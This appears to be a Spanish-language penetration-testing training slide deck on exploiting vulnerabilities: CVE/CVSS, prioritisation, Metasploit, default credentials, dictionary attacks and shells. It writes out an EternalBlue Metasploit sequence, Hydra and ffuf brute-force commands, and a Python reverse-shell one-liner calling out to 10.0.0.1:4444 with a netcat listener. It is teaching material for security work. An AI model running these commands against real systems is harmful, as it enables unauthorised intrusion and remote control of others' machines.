Explotación de vulnerabilidades

Técnicas y Prácticas Seguras de Explotación

El plan para hoy

  • Entendiendo CVEs y CVSS
  • Priorización de vulnerabilidades
  • Aprovechamiento de la fase de reconocimiento
  • Búsqueda y validación de exploits
  • Metasploit Framework
  • Técnicas de acceso inicial
  • Tipos de shells y su uso
  • Mejores prácticas de explotación

CVE y CVSS

CVE (Common Vulnerabilities and Exposures):

  • Identificador único
  • Descripción estandarizada
  • Referencias técnicas
  • Estado de parche

CVSS (Common Vulnerability Scoring System):

  • Puntuación de 0.0 a 10.0
  • Métricas base, temporales y ambientales
  • Vectores de ataque
  • Impacto potencial

Búsqueda por CVE

Fuentes principales:

# Búsqueda en Metasploit
msf> search cve:2021-44228

# Búsqueda en SearchSploit
searchsploit -c CVE-2021-44228

# Base de datos NVD
https://nvd.nist.gov/vuln/search

Priorización de Vulnerabilidades

Por impacto potencial:

  1. RCE (Remote Code Execution)
    • CVSS 9.0-10.0
    • Control total del sistema
  2. Escalación de privilegios
    • CVSS 7.0-9.0
    • Elevación de acceso
  3. SQLi (SQL Injection)
    • CVSS 6.0-9.0
    • Acceso a datos
  4. XSS (Cross-Site Scripting)
    • CVSS 4.0-7.0
    • Ataque a usuarios

Aprovechamiento del Reconocimiento

Elementos clave:

  • Versiones de software identificadas
  • Configuraciones por defecto
  • Servicios expuestos
  • Tecnologías obsoletas
  • CVEs aplicables

Análisis de Versiones

Proceso sistemático:

  1. Identificar versión exacta
  2. Buscar vulnerabilidades conocidas
  3. Verificar disponibilidad de exploits
  4. Validar aplicabilidad
  5. Evaluar riesgos y CVSS

Metasploit Framework

Componentes principales:

  • msfconsole
  • Módulos de exploits
  • Módulos auxiliares
  • Payloads
  • Post-explotación

Uso Básico de Metasploit

Comandos esenciales:

# Iniciar Metasploit
msfconsole

# Búsqueda de módulos
search type:exploit platform:windows ms17-010

# Uso de módulos
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.10
exploit

Credenciales por Defecto

Recursos comunes:

  • default-password.info
  • cirt.net
  • datarecovery.com/rd/default-passwords

Ataques de Diccionario

Ejemplos prácticos:

# FFuf para fuzzing web
ffuf -w wordlist.txt -u http://target.com/FUZZ
ffuf -w users.txt:W1,pass.txt:W2 -u http://target.com/login -X POST -d "user=W1&pass=W2"

# Hydra para SSH
hydra -l admin -P rockyou.txt ssh://target.com
hydra -L users.txt -P passes.txt ssh://target.com -t 4

Obtención de Shell

Tipos principales:

  • Reverse shells
  • Bind shells
  • Web shells
# Ejemplo de reverse shell en Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Listener con netcat
nc -lvnp 4444

Mejora de Shell

Técnicas comunes:

# Obtener TTY completa
python -c 'import pty; pty.spawn("/bin/bash")'

# Configuración de terminal
export TERM=xterm
stty raw -echo; fg

# Después de 'stty raw -echo; fg':
# 1. Presionar Enter
# 2. Presionar Ctrl + Z
# 3. stty raw -echo; fg
# 4. Presionar Enter dos veces

Prácticas Seguras

Principios fundamentales:

  1. Documentación detallada
  2. Control de cambios
  3. Respaldos cuando sea posible
  4. Monitoreo constante
  5. Plan de rollback

¿Preguntas?